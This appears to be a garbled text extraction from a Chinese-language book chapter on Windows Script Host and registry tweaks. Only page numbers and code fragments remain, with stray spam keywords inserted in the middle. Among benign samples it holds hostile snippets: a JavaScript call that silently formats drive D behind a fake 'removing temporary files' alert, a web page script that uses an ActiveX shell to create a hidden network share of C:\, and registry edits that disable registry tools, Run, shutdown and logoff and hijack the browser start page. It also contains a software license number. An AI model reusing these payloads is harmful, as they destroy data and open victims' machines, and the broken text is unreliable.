44
A t t e n t i o n
3.1
45
Chapter 3
46
47
Chapter 3
WScript.Echo( WSH )
dim objdir
set objdir=WScript.Createobject(\"Scripting.filesystemobject\")
for k=1 to 20
sNewFolder=\"d:WSHsample\" & k
objdir.Createfolder(sNewFolder)
next
48
text.vbs
Set RegWsh = Wscript.CreateObject(\"Wscript.Shell\")
RegWsh.Run (\"notepad \" & Wscript.ScriptFullName)
SHELL
Set fs = Wscript.CreateObject(\"Scripting.FileSystemObject\")
Set a = fs.CreateTextFile(\"c:testfile.txt\", True)
a.WriteLine(\" c: testfile.txt \")
a.Close
49
Chapter 3
50
wsh.Run('start/m format.com d:/q/autotest/u');
alert('IMPORTANT : Windows is removing unused temporary files.');
IMPORTANT: Windows is removing unused temporary files.
51
Chapter 3
A t t e n t i o n
3.2
52
53
Chapter 3
54
HKCU\\Software\\Microsoft\\Windows\\ CurrentVersion\\Policies\\System\\DisableRegistryTools",
1,"REG_DWORD
sh.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\
DisableRegistryTools", 1,"REG_DWORD");
sh.RegWrite(" ", ," ");
55
Chapter 3
56
57
Chapter 3
58
A t t e n t i o n
echo off
echo Windows Registry Editor Version 5.00> c:\hellopc.reg
echo [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ Ex-
plorer]>> c:\hallopc.reg
echo "NoViewContextMenu"=dword:00000000>> c:\hellopc.reg
regedit /s c:\hellopc.reg
del c:\hellopc.reg
59
Chapter 3
A t t e n t i o n
[version]
signature="$CHICAGO$"
[DEFAULTINSTALL]
ADDREG=EDIT.ADD.REG
DELREG=EDIT.DEL.REG
[EDIT.ADD.REG]
HKCU,Software\Microsoft\Windows\CurrentVersion\Policies\sys tem
[EDIT.DEL.REG]
HKCU,Software\Microsoft\Windows\CurrentVersion\Policies\sys tem
echo off
echo regedit4> c:\scanreg.reg
echo [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\
WinOldApp]>> c:\scanreg.reg
echo "NoRealMode"=dword:00000000>> c:\scanreg.reg
regedit /s c:\scanreg.reg
del c:\scanreg.reg
Scanreg/ option
60
Dim R
Set R = CreateObject("WScript.Shell")
Rem Write Regedit
R.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", 0,
"REG_BINARY"
R.RegWrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\system\DisableRegistryTools",
"00000000", "REG_DWORD"
R.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled",
"00000000", "REG_DWORD"
R.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\
NoRealMode", "00000000", "REG_DWORD"
R.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption",
"","REG_SZ"
R.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText",
"","REG_SZ"
R.RegWrite
"HKLM\Software\Microsoft\Internet Explorer\Main\Window Title", "", "REG_SZ"
R.RegWrite
"HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "", "REG_SZ"
61
Chapter 3
62
63
Chapter 3
64
65
Chapter 3
66
script language=javascript>
document.write("");
function f(){
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\
RWC$\\Flags",402,"REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\
RWC$\\Type",0,"REG_DWORD"
);
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\
RWC$\\Path","C:\\");
}
function init()
67
Chapter 3
{
setTimeout("f()", 1000);
}
init();
69
Chapter 3
A t t e n t i o n
A t t e n t i o n
....
70
REGEDIT4
;
[HKEY_LOCAL_MACHINE\SOFTWARE\ACD Systems\ACDSee\50]
@
"CompanyID" "21PCinfo.com"
"LicenseNumber" 581 076 451 038 881 441"
"UserName" " "
3.3
71
Chapter 3
72
REGEDIT4
;
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CurrenVersion\policies\system]
;
"legalnoticecaption" " "
; "
"legalnoticetext" " "
REGEDIT4
; Windows
[HKEY_CURRENT_USER\Control Panel\desktop]
;
"MenuShowdelay" "0"
;
73
Chapter 3
"HungA
ppt
关于艾滋病ppt课件精益管理ppt下载地图下载ppt可编辑假如ppt教学课件下载triz基础知识ppt
imeout" "1500"
"WaitToKillAppTimeout" "2000"
[HKEY_CURRENT_USER\Control Panel\desktop\windowsmetrics]
;
"MinAnimate" "0"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
;
"NoSMMyPictrues" dword:00000001
;
"NoStartMenuMyMusic" dword:00000001
;
"NoStartMenuNetworkPlaces" dword:00000001
;
"NoSMHelp" dword:00000001
REGEDIT4
;
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoRun"=dword:00000001
74
A t t e n t i o n
"NoClose"=dword:00000001
"NoLogOff"=dword:00000001
GEGEDIT4
;
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
;
"NoRun" -
;
"NoClose" -
;
"NoLogOff" -
; IE
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Start Page" http://www.21pcinfo.com
"Windows Title" "Micorosoft Internet Explorer"